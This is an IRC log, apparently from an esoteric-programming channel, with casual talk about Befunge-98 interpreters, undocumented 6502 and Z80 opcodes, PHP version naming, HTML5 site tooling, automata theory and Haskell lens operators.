16:36:52 <oerjan> fizzie: your previous comment seemed a bit hard to put in context. any context.
16:38:30 <oerjan> shouldn't that be something more like hlo day, 2
16:40:20 <fizzie> http://www.assembly.org/summer14/
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16:41:53 <nooodl> are you going to make a demo
16:41:54 <oerjan> i thought that was Camelot.
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16:52:10 <fizzie> I am just socializing.
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17:00:56 <fizzie> I always think I should do something right after this thing, but forget it before next year.
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17:09:22 <fizzie> Good-quality 1k, anyway.
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21:57:58 <Sgeo> Is Perl 6 actually considered a failure?
21:58:04 <Sgeo> https://wiki.php.net/rfc/php6 claims so
22:03:09 <Melvar> Sgeo: I presume not by the people still working on it.
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22:13:12 <vifino> Sgeo: "Perl 6", link sais "php6"
22:14:57 <Bike> "Version 6 is generally associated with failure in the world of dynamic languages. PHP 6 was a failure; Perl 6 was a failure. It's actually associated with failure also outside the dynamic language world - MySQL 6 also existed but never released. The perception of version 6 as a failure - not as a superstition but as a real world fact (similar to the association of the word 'Vista' with failure) - will reflect badly on this PHP version."
22:14:58 <Melvar> vifino: It’s arguing they should skip version 6 / call it PHP7 because 6 is associated with failure, citing Perl6 among others.
22:15:03 <Bike> is this a joke.
22:15:05 <Bike> am i being joked
22:15:22 <Bike> a real world fact
22:15:38 <Bike> can't release the new php version yet i'm going to kill this goat and observe its entrails
22:15:48 <Bike> php6 will fail and it will rain tomorrow
22:16:20 <Melvar> Bike: It’s an argument about people’s associations, not about superstition, the way I read it.
22:17:21 <Bike> php is so ridiculously terrible constantly and i'm a fuckin professional matlab bullshitter
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22:18:39 <Sgeo> That page has better arguments against calling it PHP 6
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22:20:37 <Bike> ok but: that argument i quoted is incredible.
22:20:45 <boily> there is such a thing as PHP 6?
22:21:20 <Bike> and it is associated with failure
22:22:14 <Sgeo> Is IPv6 a failure?
22:22:40 <Sgeo> Maybe IPv4 should have been IPv5 so IPv6 gets skipped instead and we get IPv7
22:22:43 <boily> Bike: I expect more of PHP. I demand an extraordinary failure.
22:23:05 <Bike> Sgeo: uh dude ip isn't a dynamic language so its perception of failure isn't a real world fact.
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23:15:26 <oerjan> boily: why don't you program more in chicken it's illogical
23:19:47 <boily> chicken chicken, or chicken scheme?
23:20:36 <boily> also, why the diminutive magic wand?
23:21:13 <oerjan> just removing the space typo
23:21:49 <oerjan> http://esolangs.org/wiki/Chicken of course
23:31:44 <oerjan> fear is the mind killer
23:32:23 <olsner> the little death that obliterates all
23:34:10 <olsner> fwiw, the maker of chicken works at my office
23:35:43 <boily> terror intensifies.
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23:38:02 <olsner> boily: given your association to chickens, perhaps doubly so for you
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23:42:03 <olsner> I think metasepia is just wrong on that, there's lots of relevant info on fear
23:42:35 <oerjan> i think it just doesn't want to tell
23:43:05 <olsner> oerjan: p. good reason not to divulge, actually
23:43:27 <olsner> boily: stop sulking and do something useful
23:43:34 <oerjan> i think ~duck may be broken?
23:43:48 <boily> oerjan: looks like so.
23:44:09 * boily crosses his arms and pouts. “nah.”
23:44:18 <olsner> boily: my OS ran on real hardware and responded to ARP and ping today
23:45:06 <boily> the OS I'm using responds to ARP and ping, and can be ARP poisoned!
23:45:15 <boily> (nb.: I didn't write it.)
23:47:03 <olsner> to be fair, most of the code involved is from lwIP
23:47:31 <boily> I never managed to get that damned thing working.
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23:48:02 <olsner> lwip? it's pretty great for getting damned things working, I think
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23:49:43 <boily> if by some act of dark magic you manage to get lwip going, I guess everything else just follows.
23:51:14 <olsner> let's just say I'm well versed in the dark magics then
23:53:06 <olsner> (not that I am, it's just that lwip is actually quite easy to port)
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05:57:56 <Sgeo> Could it be? A themed language with few tokens that isn't a BF derivative?
06:09:01 <J_Arcane> last night I was lying in bed pondering an octal assembly/ML languag.e
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06:12:26 <newsham> you mean that the structure would be 3-bit aligned?
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06:28:36 <J_Arcane> newsham: Yeah. 3-bits for the instruction would give you precisely 8 instructions (7 usable), then another multiple of 3 for the address and data.
06:30:11 <J_Arcane> I snuck some octal coded messages in my last game project, and last night I was playing with a PDP-8 and some ideas for a "game" about poking around on a foreign OS. Somehow that lead to 'lets do a virtual machine and build all the instructions for octal instead of hex'. XD
06:30:14 <newsham> i imagine some old archs fit that
06:30:49 <newsham> close: http://en.wikipedia.org/wiki/PDP-8#Instruction_set
06:31:05 <zzo38> Yes I know some do work better with octal, such as if it has a multiple of three bits in one byte.
06:31:14 <myname> jmp, je, inc, dec, mov
06:31:27 <zzo38> (I also use octal for 7-segment patterns)
06:31:57 <zzo38> J_Arcane: What game project and what message is it? What such "game"?
06:32:00 <myname> maybe jl if you want to give some freedom
06:33:14 <J_Arcane> zzo38: I did a roguelike, handhRL, based on a tabletop RPG I published. The opening 'cinematic' text contains some 'garbage data' that actually decodes from octal to "YOU ARE DOOMED". :D
06:35:06 <myname> why is tubes in the "work in progress" list?
06:35:35 <myname> also: did somebody know if there is some easy framework to build roguelikes for android on?
06:39:16 <J_Arcane> The other project I've done so far is BlueBox, which is a graphics library powered by libtcod for simulating an old-school microcomputer. It's what my esolang VIOLET runs on. But what I thought about doing for an actual game was something that replicates the experience of exploring an unfamiliar command line OS. :D
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06:40:20 <zzo38> You could also try to write programs directly for an old microcomputer.
06:43:05 <newsham> have you seen cool-old-term?
06:43:31 <J_Arcane> I have now. :D THat looks cool.
06:43:50 <newsham> didnt the umix icfp contest have an unfamliar command line os?
06:43:52 <J_Arcane> There's one I've seen like that for OS X, but, well, OS X.
06:44:36 <newsham> how about a hacking game bsaed on an unfamliar command line os? that would be fun
06:45:20 <J_Arcane> newsham: Yeah. That was the idea. You get dumped in as a guest user on a strange OS and have X amount of time to solve a target goal.
06:46:50 <newsham> have you seen telehack? :)
06:47:25 <newsham> you can do from cmd line with " telnet telehack.com
06:47:30 <newsham> so youc an run it in cool-old-term if you want
06:47:50 <newsham> here's the instructions http://telehack.com/telehack.html
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06:57:36 <J_Arcane> Jeeze, he's got a full working BASIC and 6502 assembler in there, and apparently a VAX simulator as well?
06:58:08 <J_Arcane> Previously I thought I'd be insane to develop my idea on an actual virtual machine, now I feel like I'd be inadequate if I didn't. ;)
07:11:06 <zzo38> Well, but I sometimes like to write program for Nintendo Famicom. It is also 6502, but decimal mode doesn't work.
07:12:38 <zzo38> Have some people used a Bacon cipher with Baudot encoding instead of the one Bacon used?
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13:57:54 <TieSoul> I'm making a Befunge-98 interpreter in Ruby. I believe that's a first :P
13:58:23 <TieSoul> My old one in Python is too messy and I don't want to do all of that again in the same language, so I'm doing it in Ruby.
13:58:24 <ion> You should make a Ruby interpreter in Befunge-98.
13:59:15 <TieSoul> yes because that's something anyone can do in a lifetime.
13:59:47 <TieSoul> though someone has made a Befunge-98 to ANSI C compiler in Befunge-98 iirc
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14:02:23 <elliott> befunge-98 is not easy to compile
14:02:58 <Phantom_Hoover> is it actually possible to compile or is it one of those parsing perl things
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14:03:56 <elliott> it's not really a parsing perl thing.
14:07:23 <TieSoul> http://www.quote-egnufeb-quote-greaterthan-colon-hash-comma-underscore-at.info/befunge/befc2.php
14:07:30 <TieSoul> does not support self-modification
14:08:30 <fizzie> Or x or j, for that matter. (There's a later written-in-C compiler from the same source that does those.)
14:10:31 <fizzie> As far as Funge-98 programs go, it's still quite a big one.
14:12:46 <TieSoul> I like the name of that website.
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14:59:55 <Vorpal> elliott, Any recommendations for static web site setup? Thinking some markdown based thingy
15:00:21 <elliott> I haven't used any of those thingies. I'm sure they're all fine though
15:00:49 <Vorpal> fizzie, what about you?
15:01:31 <elliott> build/%.html: src/%.html ; echo "<!doctype html><link rel=stylesheet href=/style><h1><a href=/>vorpals site</a></h1>" >$@; cat $< >>$@
15:02:01 <Vorpal> elliott, you don't need <head> or <html> in HTML5??
15:02:16 <Vorpal> Didn't realise it was quite that free-form
15:02:45 <elliott> html5 is actually pretty usable as an authoring format so I'm not entirely joking her
15:04:32 <fizzie> My website runs on a bit of Python and files containing HTML snippets and some special comment markers.
15:04:56 <fizzie> It's just plain HTML(5) for the actual content parts.
15:05:21 <fizzie> Though I did use markdown for a user's guide thing for a thing at work.
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15:09:06 <elliott> html5 is awkward for code blocks because of escaping though
15:10:33 <fizzie> Oh, I do have a bit of Python for that.
15:11:29 <fizzie> <highlight lang="x"> ... </highlight> blocks are extracted and passed through some command-line syntax highlighter.
15:11:43 <fizzie> Or just escaped and put in a <pre>-alike if x is "text".
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15:13:03 <fizzie> Heh, Europe looks impressively thundery.
15:13:07 <fizzie> (Nothing in our corner.)
15:22:03 <b_jonas> fizzie: yeah, though it hasn't really reached us yet
15:22:07 <b_jonas> I think it will in the evening
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18:34:33 <zzo38> If you are making a new kind of Huffman coding where once a character is output it just leads to another state instead of necessarily starting over from the first state, then what is this called?
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18:41:40 <elliott> fizzie: it would be nice if HTML5 had heredocs or something.
18:42:18 <int-e> zzo38: there's a bunch of articles on compression with weighted finite automata. they probably use arithmetic coding on top of that but there's no reason why that couldn't be done by a huffman code.
18:42:40 <zzo38> elliott: I agree with such thing; things that compile into HTML5 (as well as various other formats too) could convert such heredocs
18:43:28 <zzo38> int-e: What is a weighted finite automata?
18:44:06 <int-e> zzo38: a finite automaton with some sort of weights on the transitions; in the data compression case, the weights will be probabilities.
18:45:26 <zzo38> The way I was thinking of, there are no weights after it is compiled; each state consists of: next state in case of 0, next state in case of 1, character output in case of 0, character output in case of 1; all parts are optional.
18:48:43 <int-e> zzo38: unrelated to data compression, there are finite automata with output: Moore and Mealy machines. (Personally, I never found those concepts very helpful.)
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18:57:48 <b_jonas> int-e: so, a Markov Chains?
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18:59:30 <int-e> b_jonas: With probabilities as weights: yes.
19:01:41 <int-e> b_jonas: Ah, no, but the concepts are closely related. The difference is, with a weighted automaton you have multiple transition matrices; which one is used depends on the input.
19:07:25 <int-e> b_jonas: this sentence (from Wikipedia) is illustrative of the difference: "A finite state machine can be used as a representation of a Markov chain. Assuming a sequence of independent and identically distributed input signals (for example, symbols from a binary alphabet chosen by coin tosses), if the machine is in state y at time n, then the probability that it moves to state x at time n + 1 depends only on the current...
19:07:58 <int-e> note the assumption that the sequence be i.i.d.; in practice that assumption will not hold for, say, text inputs.
19:10:28 <int-e> (And this problem does not simply go away by considering higher order Markov chains; weighted automata can track properties that depend on the whole history of events so far. For example, they could tell whether the number of 0 bits seen so far is odd or even.)
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19:12:18 * int-e wonders if he's making any sense.
19:15:15 <b_jonas> can't think of such stuff now
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19:25:57 <J_Arcane> Heh. Never seen this in a programming book before: "Exercise 12. Now relax, eat, sleep, and then tackle the next chapter. "
19:35:20 <zzo38> How fast is a Commodore 64 compared to Nintendo Famicom?
19:40:13 <Melvar> elliott: What would a heredoc be in the context of html5?
19:40:36 <J_Arcane> zzo38: Well, the processor is the same, so it reall comes down to how the support chips make things easier or not for the CPU.
19:40:53 <elliott> Melvar: something to let you have a bunch of text that doesn't need escaping, for code snippets.
19:41:17 <Melvar> Does it not have CDATA?
19:41:45 <elliott> huh, would that work for <pre>?
19:42:05 <J_Arcane> The 6502 in the NES clocks higher.
19:42:06 <elliott> http://stackoverflow.com/questions/3302648/should-i-use-cdata-in-html5 XHTML5 only and only allowed in certain elements
19:45:22 <J_Arcane> zzo38: This post lacks hard numbers, but seems a reasonable summary: http://www.lemon64.com/forum/viewtopic.php?t=14988
19:46:51 <b_jonas> but doesn't the c64 have a proper 6502 whereas the famicom has a cheaper variant?
19:49:04 <J_Arcane> Wiki says the Ricoh chip in the NES is missing BCD mode but otherwise seems to add more things than it removes.
19:49:06 <int-e> meaning "all the undocumented opcodes that hackers love work"?
19:49:38 <b_jonas> J_Arcane: is that one of those that add some 16-bit stuff?
19:50:01 <Melvar> elliott: Okay, so in HTML5 it’s only allowed in embedded XML. In XML to the best of my understanding it’s allowed anywhere literal text is.
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19:54:27 <J_Arcane> http://en.wikipedia.org/wiki/Ricoh_2A03
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19:57:40 <zzo38> int-e: All unofficial opcodes of NMOS 6502 do work; only decimal mode doesn't work.
19:58:39 <b_jonas> zzo38: but msot of those unofficial opcodes don't do anything useful, do they? except for one right shift instruction that was found a big buggy so it was deemed unofficial, or something
19:59:15 <J_Arcane> This all reminds me that I've a c64 assembly tutorial I wanted to play with soon.
19:59:57 <zzo38> b_jonas: No, maybe half of the unofficial opcodes are useful, I think.
20:00:00 <fizzie> This year's Assembly's "oldskool demo" competition had a total of two (2) entries, both for the Amiga 500 (500).
20:00:35 <zzo38> The game "Attribute Zone" uses several unofficial opcodes.
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20:01:23 <fizzie> And then the "real wild" compo had two Commodore PETs and a VIC-20.
20:01:53 <fizzie> There's a silly quirk in the rules that the "oldschool platforms" are limited to a fixed set, instead of the released-commercially-in-the-given-timeframe criteria they used to have.
20:02:26 <fizzie> (On the other hand, the party organizers provide the hardware for running them, so I guess the fixed set is just what they and their friends had.)
20:02:29 <zzo38> Some of them are not useful because they are unstable; others are the same function as official opcodes so they could be used if you want those specific bit patterns for the instructions rather than other ones.
20:03:17 <fizzie> (The set consists of: C64, Plus/4, A500, Atari STf and 130xe, MSX1, Speccy 128k and an Amstrad CPC6128.)
20:03:46 <zzo38> See http://wiki.nesdev.com/w/index.php/CPU_unofficial_opcodes and http://wiki.nesdev.com/w/index.php/Programming_with_unofficial_opcodes for details about unofficial opcodes.
20:07:20 <fizzie> Z80 has an undocumented opcode "in f, (c)" which reads from an I/O port into the flags register.
20:08:23 <zzo38> fizzie: I suppose it is normally not useful unless you are connecting special devices to the I/O port; if you are then it probably can help though.
20:09:06 <fizzie> Yes, it can (theoretically, anyway) be useful if you're interested in a bit that happens to coincide with one of the flags for which there are conditional jumps.
20:10:11 <fizzie> Though the "z80undoc" document mentions something about "some older Z80" locking up.
20:13:17 <fizzie> There's also a left shift that 1-fills the least significant bit, that can be useful. (It's there in the instruction set where the "missing" shift instruction out of the "{logical, arithmetic} shift {left, right}" quadruplet should be.)
20:15:36 <fizzie> (It's the same as a "scf; rl" pair, except in one instruction.)
20:16:18 <zzo38> Yes it can be useful; 6502 has no such single instruction
20:25:39 <ais523> fizzie: hmm, interesting; it's not really the opposite of an arithmetic shift right
20:25:47 <ais523> because that would fill the low bit only if the number was odd
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20:35:44 <fizzie> ais523_: "Logically" (no pun intended) the opcode in fact corresponds to a *logical* shift left; the "arithmetic shift left" opcode is the regular left shift.
20:36:12 <ais523_> arithmetically, it's a times-2-plus-1 operation
20:36:21 <ais523_> which is certainly something I've used in the past
20:38:02 <zzo38> Yes, it is in fact the very useful thing
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20:58:09 <elliott> Melvar: the thing I linked said you can only use it with script and style in XHTML5 I think
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21:58:44 <nooodl> wow z80 code golf is pretty mindblowing! here's one i made earlier http://bpaste.net/raw/552075/
22:08:21 <zzo38> Now can you do a 6502 code golf?
22:12:43 <nooodl> i haven't tried. this works with anarchy golf's z80 emulator's IO which is just "putchar at $8000, getchar at $8003"; i guess you could do the same on a 6502
22:20:03 <zzo38> Unofficial MagicKit uses the same address for putchar and getchar on standard I/O (however, this function is rarely used anyways since MagicKit is a compiler, so standard I/O is normally only used for debugging).
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22:41:11 * boily gently mapoles fungot before his vacation
22:41:12 <fungot> boily: see? who cares about ie". i guess it's just because he doesn't ever talk. i'd like to design a good embedded scheme user environment.
22:41:34 <oerjan> what, are we going to be boilyless?
22:41:50 <fungot> oerjan: ( or put it up somewhere else, 1 sec... one school put up some text on the distinction between tags and types aren't first-order. take the list monad
22:42:14 <boily> oerjan: indeed. I'll be on the other side of the Great Puddle until August 12.
22:43:03 <boily> it is, but I'll be a little be South.
22:43:27 <oerjan> somewhere in the francophonie?
22:43:45 <boily> more South. in the South of Spain.
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22:44:30 <oerjan> beware of the spanish inquisition.
22:45:07 * oerjan never has been in spain, which makes him an unusual norwegian.
22:45:48 <boily> does that mean I'll be meeting a lot of Norwegians?
22:46:08 * boily prepares himself for spotting tall blond people in the field
22:46:22 <oerjan> especially retired ones.
22:46:57 <oerjan> i think my aunt spends most of her time in the canaries these days.
22:47:07 <boily> ah, the European version of snowbirds. I understand.
22:47:40 <boily> retired Québécois all flock down to Florida.
22:50:50 <oerjan> mind you, that's the traditional place that first got them. nowadays there are also a lot in turkey and some in thailand, and probably other places.
22:53:32 * oerjan hasn't been any of those places either.
22:54:29 <boily> I never went to Florida. I should try Thaïland some day, to learn more about their cuisine.
22:57:09 <oerjan> that ï confuses me a bit, because the ai is pronounced as one syllable; but then i remember that french uses it to mean it's not a single vowel.
22:59:22 <zzo38> Why did they eventually stop making VCRs record LP?
23:00:40 <boily> oerjan: everything is a single vowel in French, except when it isn't.
23:00:47 <int-e> zzo38: I'm getting a parse error from that.
23:01:10 <int-e> "long play" (record, presumably vinyl)
23:01:26 <int-e> but that may be my mistake.
23:02:02 <nooodl> oerjan: <ai> is /ɛ/ in french
23:02:12 <boily> int-e: that only confuses me more. what has a vinyl record got to do with a VCR.
23:02:12 <zzo38> I don't mean vinyl records; I mean a recording mode where the tape is four hours long.
23:02:42 <boily> nooodl: je proteste. <ai> is /e/, not /ɛ/.
23:03:11 <int-e> ah. it's called VCR-LP.
23:03:28 <oerjan> nooodl: except that in "caille", it's apparently /ɑ/
23:03:52 <boily> «caille» is /kaj/.
23:04:00 <nooodl> boily: contre-argument: t'es québécois
23:04:08 <boily> (câille, on the other hand...)
23:04:39 <oerjan> boily: http://en.wiktionary.org/wiki/caille#Pronunciation
23:04:57 <boily> THEY LIE! IT'S NOT TRUE!
23:05:53 <oerjan> does québécöís have the /ɑ/ vs. /a/ distinction?
23:06:13 <zzo38> The VCR I have cannot record onto VHS in LP mode; only SP and EP are supported. It can record onto DVD in SP, LP, and EP mode, though.
23:06:23 <boily> (heh. québécöís. :D)
23:07:57 <nooodl> apparently belgian french makes the distinction but i was taught metropolitan french even though i live in belgium
23:08:24 <nooodl> (whispers to himself "patte. pâââââte. patte")
23:08:50 <boily> poil. poêle. la. là.
23:09:28 <int-e> zzo38: I can't help you there. SP has best quality, EP has the longest recording time; perhaps LP is a compromise that few people desire. Supporting three recording speeds would make the device more complex (mechanically). OTOH for DVD it's just a matter of specifying a target bit rate to the encoder.
23:09:35 * oerjan mainly remembers the word "caille" from the dish in babette's feast ("Caille en Sarcophage avec Sauce Perigourdine")
23:12:00 <oerjan> https://en.wikipedia.org/wiki/Babette's_Feast
23:12:25 <oerjan> https://en.wikipedia.org/wiki/Babette's_Feast#The_menu
23:13:18 <oerjan> oh that's of course an enormous spoiler if you haven't seen the movie
23:15:02 <oerjan> "Pope Francis has identified Babette's Feast as his favorite film."
23:15:38 <boily> no click for me then.
23:33:58 <boily> http://www.reddit.com/r/infiniteworldproblems ← nothing better to keep you sane. saaaaaaaane.
23:35:13 <oerjan> i thought fifthworldproblems was already sane enough
23:47:06 <zzo38> I have an idea; using the Famicom's tape port to connect together two Famicom units.
23:47:37 <zzo38> It may be doable even just using the expansion port and not using the tape port, but if the software is using the keyboard, then you can use the tape port.
23:48:04 <zzo38> So, it is two players game with two keyboard and two screens.
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00:11:50 <oerjan> ooh my reddit bug report got an answer
00:13:10 <oerjan> does anyone know how to get a list of cookies in IE 11
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00:37:30 <oerjan> never mind, turns out i was blocking the cookies from the site. although since this is with default IE settings, i hope they might still want to know.
00:43:23 <Sgeo> IE loves blocking third party cookies unless you make legal claims about what you do with them
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00:43:59 <Sgeo> http://fb.me/p3p
00:44:16 <oerjan> yes, that seemed to be the case, the site didn't have a compact privacy policy
00:44:48 <Sgeo> The ironic thing is I can imagine scenarios where there are websites that are _more_ secure under IE because of this
00:45:04 * boily senses a great disturbance in the force
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00:46:41 <oerjan> so it's essentially IE trying to be _good_ but failing because no one else follows the standard
00:48:05 <oerjan> i suppose i should have mentioned i was using IE in my original post. was being slightly cowardish there.
00:48:41 <oerjan> (i got downvoted _anyhow_.)
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02:41:46 <zzo38> I saw someone made a circuit and software for displaying text on a oscilloscope.
02:52:09 <quintopia> i guess you mean this https://www.youtube.com/watch?v=36m5Q_BKYrU
02:52:39 <newsham> oscope = birth of graphics
02:58:41 <zzo38> I don't know; it wasn't on YouTube though, but this design makes raster graphics
02:59:07 <zzo38> http://gw7.no-ip.com/scopegraphics1b.jpg
02:59:37 <newsham> cool.. now you can have the raster crt you always wanted!
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05:00:43 <oerjan> shit i got a fanatic badge
05:21:45 <fizzie> Re oscilloscopes and text: https://www.youtube.com/watch?v=s1eNjUgaB-g
05:22:02 <fizzie> It's driven by a regular computer and a sound card, though.
05:25:45 <fizzie> oerjan: You use IE even though he doesn't ever talk?
05:27:04 <fizzie> fungot: Please recommend a good talking browser.
05:27:05 <fungot> fizzie: or one such ip, i think i'll try instrumenting it to see if bush will be fnord when i realised my mistake, sorry.
05:29:28 <newsham> http://en.wikipedia.org/wiki/Vectrex
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10:42:17 <fizzie> LaTeX is hyphenating "forcing" into "forc-ing"? Is that quite all right?
10:44:43 <b_jonas> fizzie: no idea,I don't know how hyphenation works. make sure you haven't accidentally chosen hyphenation for the wrong language, and maybe check in a dictionary or something.
10:45:45 <quintopia> fizzie: seems good enough to me. latex is better at hyphenating than anything else i know of, so i assume it's right by default
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10:59:01 <fizzie> !befunge98 ;>;# t0"oof";0"rab"#;>:#,_@
11:00:06 <TieSoul> I was trying to figure out if the IP inherits stack. Seems it does.
11:00:35 <TieSoul> I just didn't look well enough :P
11:01:30 <fizzie> !befunge98 "321";>;# t"oof";"RAB"#;>:#,_@
11:18:21 <fizzie> Hey, at least they've still got their own stacks.
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11:20:21 <TieSoul> yup, I think I have concurrency implemented correctly now
11:22:08 <TieSoul> lel I have concurrency implemented before stringmode
11:22:19 <TieSoul> Making a new interpreter btw, in Ruby
11:22:52 <TieSoul> my old one was too messy :P
11:24:13 <TieSoul> And not concurrent. And it didn't have i or o. And Mycology infinite-looped on it.
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16:54:10 <zzo38> Do you know anything about the "DGD" MUD driver?
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17:05:45 <zzo38> It seems to use programs written in a variant of C.
17:08:34 <zzo38> There are some rooms and policy and stuff already in there, but I don't like this policy so I can change it, and currently it doesn't allow the user to set the species, strength, weight, height, etc of the player character so hopefully I could learn how to fix that too.
17:13:09 <zzo38> It is library called Phantasmal and Lovecraft, which has these example things in here but isn't good enough yet. It includes some rooms (including a university and a hostel), and two mobile objects (a dog and a moving turnip). It seems to lack classrooms however. This could be fixed though, too.
17:16:43 <zzo38> I like the permadeath, but I don't want to have these levels and stuff and instead just a high score which has no effect on the game.
17:19:53 <zzo38> Also it shouldn't reset too much. I don't quite know how to fix it though
17:20:01 <zzo38> Does anyone else to know?
17:20:16 <zzo38> Things like making "x" an abbreviation for "examine" should be easy to fix, though.
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17:53:51 <zzo38> What is a fast and small way in 6502 assembly language to XOR bit7 of accumulator with the carry flag?
17:57:54 <newsham> bcc skip; eor #0x80; skip: .... ?
17:58:19 <newsham> bcc = 2 cycles, eor immediate = 2 cycles
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18:14:00 <int-e> zzo38: I've seen DGD; it implements a variant of LPC. A perhaps better known descendant of LPC is Pike ...
18:15:16 <int-e> But I've not really used DGD, I have more experience with lpmud, later ldmud, and MudOS.
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18:21:51 <zzo38> I have installed DGD (including Phantasmal and Lovecraft); I have not set it up yet though, so starting it just displays a blank window and the menu to start it is gray
18:29:09 <zzo38> DGD is AGPL3; apparently there might be some incompatibility with others and I prefer to use one which is compatible with free software (of course, free software is itself compatible with free software, so that works)
18:31:52 <zzo38> If you know things about its working though then maybe you might be able to help later if you know LPC at all?
18:33:14 <newsham> lpc the language from lpmud? lpc the vocoder?
18:38:15 <zzo38> Well, the programming language in use appears to be a variant of C, with inheritance and maps and stuff
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18:56:57 <mroman> There's no official CGI-Support for Pike?
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22:40:44 <Sgeo> "what you're pointing out is that Dota 2 is 'stateless.' "
22:41:08 <Sgeo> Well, first time I've seen someone other than me use 'stateless' in a non-programming context. I'm not actually sure if I've used it in a non-programming context.
22:44:09 <Bicyclidine> may i recommend some interesting looks at the nature of stateless people in international diplomacy http://www.hrw.org/reports/2013/04/22/all-you-can-do-pray-0
22:45:57 <elliott> those things don't sound like programming languages Bicyclidine
22:46:38 <Sgeo> Someone should make a stateless state.
22:53:59 <shachaf> Sgeo: i've talked about stateless and stateful computer games in presumably exactly that context before
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22:54:32 <Sgeo> shachaf: ah. Sorry about forgetting
22:54:45 <shachaf> it probably wasn't in conversation with you
23:00:02 <quintopia> Sgeo: you mean it's stateless in that everyone starts at the same place in every game?
23:00:20 <Sgeo> More that there's no retained state between games
23:00:44 <Sgeo> No leveling up of your character between each match, for example. No collecting cards.
23:00:48 <quintopia> surely, achievements unlocked constitute state?
23:01:10 <Sgeo> Hmm. non-Writer state?
23:01:56 <Sgeo> as in, state that doesn't influence gameplay, even though it can be influenced by gameplay
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03:45:36 <zzo38> I read about "No leveling up of your character between each match, for example. No collecting cards." and yes it is one way to do it; like, to play Magic: the Gathering or whatever in Limited format, any cards you may collect don't affect any further games played, they only affect that one so it doesn't affect later on.
03:50:21 <oerjan> > Just "hello" & _Just <<<>~ "world"
03:51:07 <zzo38> What are these & and _Just and <<<>~ operators here?
03:51:26 <lambdabot> Monoid r => Optical' (->) q ((,) r) s r -> r -> q s (r, s)
03:51:35 <Bike> I'm glad we've transcended letterforms
03:51:38 <oerjan> they are from lens. & is just flip ($)
03:51:46 <newsham> give a man a (<<>~) or teach a man to (<<<>~)
03:51:53 <oerjan> _Just is a prism for Just
03:52:00 <nooodl> <<<>~ is a good operator
03:53:06 <oerjan> > Just "hello" & _Just <<%~ (<> "world")
03:54:04 <oerjan> <<<>~ combines <<%~ with <>, the latter is mappend.
03:55:05 <oerjan> <<%~ applies a function to the targets of a traversal (prisms are traversals) and also returns the old value
03:55:33 <oerjan> > Just ["hello ", "goodbye "] & traverse <<%~ (<> "world")
03:55:35 <lambdabot> Couldn't match type ‘GHC.Types.Char’ with ‘[GHC.Types.Char]’
03:55:35 <lambdabot> Expected type: [[GHC.Types.Char]] -> [GHC.Types.Char]
03:55:35 <lambdabot> Actual type: [GHC.Types.Char] -> [GHC.Types.Char]
03:56:01 <oerjan> > ["hello ", "goodbye "] & traverse <<%~ (<> "world")
03:56:03 <lambdabot> ("hello goodbye ",["hello world","goodbye world"])
03:56:49 <oerjan> oh it uses <> to combine old values
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05:11:15 <Sgeo_> How well do I have to play wisp in dota 2 to read and write files in Haskell?
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05:22:47 <oerjan> well since i don't know how to do the former at all, but do know some ways of doing the latter, i am guessing "not at all" hth
05:27:21 <Sgeo_> http://dota2.gamepedia.com/Wisp
05:57:42 <shachaf> oerjan: perhaps you have a latent ability to do the former
05:58:55 <shachaf> also io jokes are old-hat hth
06:00:39 <oerjan> ... i didn't connect that.
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07:07:03 <lambdabot> (Swapped p, MonadReader (p a b) m) => m (p b a)
07:07:07 <shachaf> :t view swapped :: (a,b) -> (b,a)
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07:42:02 <shachaf> fizzie: "I wrote you OHHEA in Finnish instead ONNEA!= that means luck. ( because in Russian H=N)"
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07:51:32 <b_jonas> shachaf: oh! thanks for the update
08:13:17 <fizzie> I don't like it when people use H when they mean Н. :/
08:14:06 <scoofy> what do u like instead
08:14:23 <fizzie> When they just use Н, if that's what they want.
08:16:16 <shachaf> how do you feel when they use O when they mean О
08:16:31 <shachaf> or similarly for E/Е and A/А
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09:36:43 <Taneb> I was thinking about a language with neither lazy nor eager evaluation but something inbetween
09:38:14 <Taneb> For stream processing
09:38:34 <Taneb> So you can do "give me as many as you can of these in 2 seconds"
09:39:01 <Taneb> Or "have this computing in the background"
09:40:00 <Taneb> Might be able to do that in Haskell with Conduit or Pipes or something
09:40:52 <Taneb> But I don't know those libraries well enough
09:45:10 <Taneb> Also I want this for a Python program
09:46:13 <coppro> actually that sounds fairly easy to implement at the low level
09:47:16 <coppro> pick method of timing as choice; while (timeout > 0) { select(args, timeout); do stuff; recalculate the timeout; }
09:47:56 <coppro> maybe only do the check after the select call
09:48:27 <coppro> so that you can get whatever is instantaneously available
09:51:00 <coppro> Also, Conduit/Pipes wouldn't actually help with this, except inasmuch that they abstract the notion of a source so that the consumer of the input doesn't need to care what you're doing in the background
09:51:11 <coppro> For background computing, look into joinable threads
09:51:17 <coppro> you can renice threads independently on Linux
10:09:17 <Taneb> What does "renice" mean?
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10:21:32 <coppro> Taneb: change the priority
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13:52:10 <TieSoul> I might be implementing things in my Befunge-98 interpreter in the wrong order lol, I'm doing fingerprints before I've implemented p.
14:00:51 <ais523_> you can try mycology order if you want feedback on what you're doing
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14:16:40 <TieSoul> there's a bug if ` reflects, it says "BAD: ects" lol
14:19:20 <fizzie> I looked at the mycology ` test code, and it seems fine to me.
14:20:17 <fizzie> I especially like the way how it sums up '2' and '3' to get 'e'.
14:23:44 <fizzie> The relevant code is http://sprunge.us/GfVT and it seems like it should print "BAD: ` reflects" if interpreted correctly.
14:25:08 <fizzie> Perhaps your ] is the wrong way around.
14:25:38 <fizzie> Because that would take it directly from "stce" to " :DAB".
14:35:21 unexpected log event :(
15:07:32 <elliott> it's a bit hard for mycology to test for things being broken in every possible order
15:08:22 <ais523_> although it does decently by using the method of not using an opcode until it's been fully tested
15:14:58 <TieSoul> I like how mycology just exits without a BAD message when ; reflects.
15:15:44 <TieSoul> maybe it's doing something with k and ;?
15:15:49 <ais523_> ; isn't really an instruction, it's more of a method of making the playfield even less euclidean
15:15:58 <ais523_> and yeah, k with ; is the sort of thing Mycology tests
15:16:07 <ais523_> because it likes looking at corner cases in the spec
15:16:28 <TieSoul> wait, k isn't implemented yet
15:17:29 <TieSoul> probably it's doing something like ;;;
15:17:39 <b_jonas> what's this semicolon thing? what funge variant?
15:18:21 <TieSoul> it can also be a nop if there's no other ; on the line lel
15:19:17 <b_jonas> but the three characters ";3;" are still part of the field, right?
15:19:24 <ais523_> TieSoul: it's not exactly a nop, just the same ; is seen as the first and second ;
15:19:27 <b_jonas> so it's just a jump instruction that finds the next ";" in the direction
15:19:29 <ais523_> because it's the next ; on the same lahey-line
15:19:38 <ais523_> b_jonas: it's not a jump instruction because it isn't an instruction
15:19:51 <b_jonas> ais523_: ok, so how does it work?
